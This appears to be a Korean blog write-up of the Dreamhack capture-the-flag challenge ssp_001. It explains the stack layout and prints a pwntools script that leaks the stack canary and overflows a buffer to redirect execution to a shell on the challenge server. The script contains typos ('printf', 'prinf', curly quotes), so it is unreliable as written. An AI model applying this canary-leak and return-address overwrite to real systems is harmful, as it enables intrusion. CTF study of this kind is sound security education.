본문 바로가기
dreamhack

[Dreamhack] ssp_001 (LEVEL 2)

by yejin_l 2023. 11. 15.
728x90

Description

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

 

풀이

step 1. 접속 정보 사이트로 접속 & 파일 다운로드 후 확인

while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }

Canary 보호기법으로 걸려있는 문제이다. 우선 문제 파일을 받아 ssp_001.c 코드를 확인하였다.

case P를 통해서 canary 값을 읽어올 수 있고, case E의 경우 BOF 공격이 가능하게 설계되어 있다. case E를 통해 BOF 공격을 수행해 ret address 값을 get_shell()의 주소로 바꾸면 될 것 같다.

 

2. 컴파일 후 디버깅 -> 스택 구조 확인

idx(4바이트)

name len (4)

select (2)

box (0x40)

name(0x40)

canary(0x40)

edi(0x40)

이전 ebp(4)

ret(4)

-> 이렇게 스택이 쌓여있음을 확인할 수 있었다.또한 get_shell함수의 주소도 알아냈다.

 

3.서버쪽에 P 값으르 주고, index 값을 128을 주면 카나리 값을 구할 수 있었다.

 

(페이로드)

from pwn import *

p = remote(“host3.dreamhack.games”, 23216)
canary = b””

i = 131
while i >= 128:
         buf = p.recvuntil(b”> “)
         printf(buf)
         p.sendline(b”P”)
         buf = p.recvuntil(b”index: “)
         print(buf)
         p.sendline(str(i).encode(encoding=’utf-8’))
         print(i)
         p.recvuntil(b”is: “)
         buf = p.recvuntil(b”\n”)[:-1]
         print(buf)
         canary += buf
         prinf(canary)
         i -= 1

canary_int = int(canary, 16)
add_get_shell = 0x080486b9
payload = b”A” * 0x40 +p32(canary_int) + b”A” * 0x8 + p32(add_get_shell)
buf = p.recvuntil(b”> “)
print(buf)
p.send(b”E”)
buf = p.recvuntil(b”Size: “)
print(buf)
p.sendline(b”100”)
buf = p.recvuntil(b”Name: “)
print(buf)
p.sendline(payload)
print(payload)
p.interactive()

 

 

4. 코드를 실행하고 cat flag 입력하면 flag 값을 찾아낼 있었다.

 

 

728x90

'dreamhack' 카테고리의 다른 글

[Dreamhack] simple_sqli (LEVEL 1)  (1) 2023.11.28
[Dreamhack] pathtraversal (Beginner)  (0) 2023.11.15
[Dreamhack] image-storage (LEVEL 1)  (0) 2023.11.08
[Dreamhack] ex-reg-ex (Beginner)  (0) 2023.11.08
[Dreamhack] baby-linux (Beginner)  (0) 2023.11.07